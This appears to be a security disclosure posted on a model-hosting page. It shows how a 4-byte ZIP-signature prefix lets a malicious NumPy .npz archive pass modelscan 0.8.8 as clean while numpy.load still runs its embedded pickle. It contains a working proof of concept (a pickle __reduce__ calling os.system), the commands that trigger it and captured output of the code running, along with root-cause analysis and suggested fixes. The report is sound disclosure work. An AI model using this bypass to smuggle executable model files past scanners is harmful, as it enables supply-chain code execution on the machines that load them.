YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

modelscan .npz container-magic desync β€” malicious NpzFile with leading PK\x05\x06 (EOCD) bypasses scanning while numpy.load executes the member pickle

Target: modelscan (Protect AI) β€” https://github.com/protectai/modelscan Version tested: modelscan==0.8.8 (latest), numpy==1.26.4, Python 3.12.13 Class: Scanner bypass / detection evasion β†’ arbitrary code execution on np.load(..., allow_pickle=True) Severity: High (a file modelscan reports as clean executes attacker-controlled os.system when a downstream consumer loads it with NumPy)


Summary

modelscan scans .npz archives by recursing into them as ZIP containers. That recursion is gated by a stricter-than-standard ZIP detector (_is_zipfile) inherited from torch, which returns True only when the file's first 4 bytes are exactly the ZIP local-file-header magic PK\x03\x04.

numpy.load, by contrast, routes a file into NpzFile when the leading bytes match either the local-header prefix PK\x03\x04 or the End-Of-Central-Directory / empty-archive signature PK\x05\x06. Python's zipfile then tolerates a prepended prefix (it finds the EOCD by scanning backward from EOF and compensates member offsets accordingly).

Prepending the 4 bytes PK\x05\x06 to an otherwise ordinary malicious .npz therefore creates a file that:

  • modelscan sees as not a zip β†’ _iterate_models does continue, never opens the archive, never hands any member to the NumPy scanner. The .npz container itself has no assigned format (settings maps only .npyβ†’NUMPY), so it is merely recorded as a benign SCAN_NOT_SUPPORTED skip β†’ "No issues found! πŸŽ‰", 0 issues, 0 errors, 0 scanned.
  • numpy still recognizes as a valid zip β†’ zipfile parses it (prefix handled) β†’ np.load(...)['config'] read_arrays the object-dtype member and runs pickle.load β†’ the embedded os.system reduce fires β†’ code execution.

The file is a fully valid archive: zipfile.ZipFile(...).testzip() returns None.


Root cause (with code)

1. .npz has no top-level format β€” the only way it gets scanned is ZIP recursion

modelscan/settings.py:

NUMPY = Property("NUMPY", "numpy")
...
"supported_zip_extensions": [".zip", ".npz"],      # .npz treated as a zip container...
...
SupportedModelFormats.NUMPY: [".npy"],             # ...but NUMPY format maps ONLY to .npy

A top-level .npz is never assigned the NUMPY format. The only path to scanning its members is the ZIP recursion in _iterate_models.

2. The ZIP recursion is gated on the strict _is_zipfile

modelscan/modelscan.py (_iterate_models):

if not _is_zipfile(file, model.get_stream()):
    continue                                   # <-- not "a zip" => skip entirely, never recurse
try:
    with zipfile.ZipFile(model.get_stream(), "r") as zip:
        ...

3. _is_zipfile only accepts an exact PK\x03\x04 prefix

modelscan/tools/utils.py:

def _is_zipfile(source, data=None) -> bool:
    # This is a stricter implementation than zipfile.is_zipfile().
    ...
    read_bytes = []                 # reads first 4 bytes
    ...
    local_header_magic_number = [b"P", b"K", b"\x03", b"\x04"]
    return read_bytes == local_header_magic_number

With a leading PK\x05\x06, read_bytes == [b'P', b'K', b'\x05', b'\x06'] != [b'P',b'K',b'\x03',b'\x04'] β†’ returns False β†’ continue β†’ the archive is never opened.

4. numpy routes the same file into NpzFile and executes the member

numpy/lib/npyio.py (np.load) accepts either zip signature:

_ZIP_PREFIX = b'PK\x03\x04'
_ZIP_SUFFIX = b'PK\x05\x06'   # empty-archive / EOCD marker
...
if magic.startswith(_ZIP_PREFIX) or magic.startswith(_ZIP_SUFFIX):
    # -> NpzFile -> zipfile.ZipFile (tolerates the 4-byte prefix) -> read_array -> pickle.load

Net effect: modelscan's _is_zipfile is too strict and routes a genuinely-malicious zip away from scanning; numpy's loader is more lenient and executes it. A 4-byte prefix flips a CRITICAL detection to a silent clean pass.


Proof of Concept

import numpy as np, os
class Evil:
    def __reduce__(self):
        return (os.system, ("echo PWNED_NPZ_SUFFIX > proof.txt",))

# 1) Ordinary malicious npz: object-array member 'config.npy', first bytes PK\x03\x04
np.savez('malicious.npz', config=np.array([Evil()], dtype=object))

# 2) Prepend the 4-byte EOCD signature PK\x05\x06 -> first 4 bytes become PK\x05\x06
open('pre_pk0506.npz', 'wb').write(b'PK\x05\x06' + open('malicious.npz', 'rb').read())
  • malicious.npz β€” normal, member config.npy, first 8 bytes PK\x03\x04-\x00\x00\x00.
  • pre_pk0506.npz β€” same content with a 4-byte PK\x05\x06 prefix; still a valid zip (zipfile.ZipFile('pre_pk0506.npz').testzip() β†’ None).

Then:

modelscan -p malicious.npz     # CONTROL  -> Total Issues: 1 (CRITICAL)
modelscan -p pre_pk0506.npz    # BYPASS   -> No issues found! πŸŽ‰  (0 issues / 0 scanned)
python -c "import numpy as np; np.load('pre_pk0506.npz', allow_pickle=True)['config']"  # -> executes

Files included: malicious.npz, pre_pk0506.npz, out.json (bypass JSON report), reverify/ (independent re-verification with a different trigger/member name).


Captured evidence (verbatim, this machine)

Magic bytes / detector divergence

malicious first8   b'PK\x03\x04-\x00\x00\x00'
pre_pk0506 first8  b'PK\x05\x06PK\x03\x04'
_is_zipfile malicious    True
_is_zipfile pre_pk0506   False
zipfile testzip pre_pk0506  None      # <-- archive is fully valid

CONTROL β€” plain malicious.npz is correctly flagged (numpy 1.26.4)

$ modelscan -p malicious.npz
Scanning .../malicious.npz:config.npy using modelscan.scanners.NumpyUnsafeOpScan model scan
Total Issues: 1
    - CRITICAL: 1
Unsafe operator found:
  - Severity: CRITICAL
  - Description: Use of unsafe operator 'system' from module 'posix'
  - Source: .../malicious.npz:config.npy

BYPASS β€” prefixed file scans clean

$ modelscan -p pre_pk0506.npz
 No issues found! πŸŽ‰
 Total skipped: 1 - run with --show-skipped to see the full list.

$ modelscan -p pre_pk0506.npz -r json -o out.json
{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0},
 "total_issues": 0, "input_path": "pre_pk0506.npz", "modelscan_version": "0.8.8",
 "scanned": {"total_scanned": 0}}, "issues": [], "errors": []}

LOADER β€” numpy executes the pickle on the SAME modelscan-clean file

$ python -c "import numpy as np; np.load('pre_pk0506.npz', allow_pickle=True)['config']"
$ cat proof.txt
PWNED_NPZ_SUFFIX          <-- attacker command executed

Independent re-verification (fresh dir, different trigger id, member renamed w, separate load process)

evil.npz first4  b'PK\x05\x06'
$ modelscan -p evil.npz
 No issues found! πŸŽ‰
 Total skipped: 1
$ python -c "import numpy as np; np.load('evil.npz', allow_pickle=True)['w']"
$ cat INDEP_PROOF.txt
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),...   <-- executed under modelscan-CLEAN file

Impact

Any pipeline that uses modelscan as a gate before loading NumPy archives (a common "scan-then-load" model-supply-chain pattern) can be defeated by a 4-byte prefix. The scanned artifact reports zero issues yet runs arbitrary attacker code the moment a consumer calls np.load(path, allow_pickle=True) (or any loader that resolves an object-dtype .npz member). No member renaming, no header manipulation, no special filename β€” the legitimate member name config.npy is preserved; only the container's leading 4 bytes change.


Suggested fix

  • Assign the NUMPY format to .npz directly (scan .npz as a NumPy archive regardless of the ZIP-recursion gate), or
  • Relax _is_zipfile for archive scanning to accept the PK\x05\x06 (and PK\x07\x08) leading signatures, or fall back to zipfile.is_zipfile() / an EOCD-based check so the recursion gate matches what real ZIP/NumPy loaders accept, and
  • Treat a file that zipfile can open but that _is_zipfile rejected as an error/warning rather than a silent skip, so a container that "can't be a zip" but is loadable as one is surfaced.

Dedup / prior-art note

Distinct from the two other filed numpy→modelscan divergences:

  1. NOT the .npy oversized-header (max_header_size) divergence β€” no header-size trick here.
  2. NOT the inner-member extension-routing bypass (which renames the member off .npy). Here the member keeps its legitimate name (config.npy / w) and modelscan is defeated one layer earlier, at the container-level ZIP-recursion gate, before any member is enumerated.

Also the inverse direction of the prior picklescan/fickling EOCD-trailer findings: those exploit is_zipfile being too lenient to route a pickle into a memberless zip scanner (and explicitly note modelscan is robust to that). Here modelscan's _is_zipfile is too strict and routes a genuinely-malicious zip away from scanning, while the more-lenient numpy loader executes it.

Note on numpy versions: this PoC pins numpy==1.26.4 so modelscan's NumPy scanner is functional and the CONTROL genuinely flags the plain file. On numpy>=2.4 modelscan's scan_numpy is separately broken (removal of numpy.lib.format._check_version), which independently yields 0 issues β€” that is a different defect and is not what this report relies on.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support